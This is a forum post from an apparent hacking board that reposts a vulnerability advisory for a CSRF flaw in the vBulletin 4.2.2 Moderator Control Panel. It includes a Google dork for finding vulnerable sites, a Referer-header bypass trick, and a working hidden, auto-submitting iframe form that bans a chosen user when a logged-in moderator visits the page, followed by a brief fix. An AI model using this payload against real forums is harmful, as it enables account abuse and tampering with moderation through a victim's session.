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vBulletin 4.2.2 Moderator Control Panel 4.2.2 CSRF Vulnerability

Тема в разделе Веб уязвимости создана пользователем RaysMorgan 26 дек 2014. 1832 просмотра

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  1. RaysMorgan
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    RaysMorgan Автор темы 26 дек 2014 https://lolz.live/support-tickets/open 51 796 7 мар 2013
    Код
    # Exploit Title: vBulletin Moderator Control Panel CSRF
    
# Google Dork: "Powered by vBulletin Version 4.2.2"
    
# Date: 16-12-2014
    
# Exploit Author: Tomescu Daniel
    
# Vendor Homepage: http://www.vbulletin.com/en/vb4-features/
    
# Software Link: Premium
    
# Version: vBulletin 4.2.2
    
# Tested on: Chrome and Firefox
    
# Reference: https://rstforums.com/forum/88810-csrf-vbulletin-modcp.rst
    

    

    
### 1. Description
    

    
vBulletin Moderator Control Panel suffer from a CSRF vulnerability because the CSRF tokens "adminhash" and "securitytoken" are not verified in POST requests.
    

    
vBulletin has one additional protection against CSRF: checking the Referer header to be same origin. However this can be bypassed by making a POST request that does not have a Referer header.
    

    
This vulnerability allows an attacker to ban/unban users, to modify user profiles, to edit/approve posts and topics and so on.
    

    
### 2. Proof of Concept
    

    
The attacker should target a moderator of target-forum.com and the moderator must be logged in Moderator Control Panel. The vulnerability can be exploited by tricking the moderator to visit a webpage that contains the following html code:
    

    
<iframe name="ifr" frameborder="0" style="overflow:hidden;height:1%;width:1%" height="1%" width="1%"
    
src='data:text/html,
    
<html>
    
<body>
    
<iframe style="display:none" name="csrf-frame"></iframe>
    
<form style="display:none" method="POST" action="https://target-forum.com/path-to/modcp/banning.php?do=dobanuser" target="csrf-frame" id="csrf-form">
    
<input type="hidden" name="do" value="dobanuser" >
    
<input type="hidden" name="adminhash" value="" >
    
<input type="hidden" name="securitytoken" value="" >
    
<input type="hidden" name="username" value="UserToBeBanned" >
    
<input type="hidden" name="usergroupid" value="8" >
    
<input type="hidden" name="period" value="D_7" >
    
<input type="hidden" name="reason" value="Banned with CSRF" >
    
<input type="submit" value="submit">
    
</form>
    
<script> window.onload = function(){ document.getElementById("csrf-form").submit(); } </script>
    
</body>
    
</html>'>
    
</iframe>
    

    
As a result, the user with the username "UserToBeBanned" will be added to the banned users list.
    

    
### 3. Solution:
    

    
Do not allow POST requests without a Referer header.
    
Verify "adminhash" and "securitytoken" to be valid.
    [/CODE]
     
    26 дек 2014
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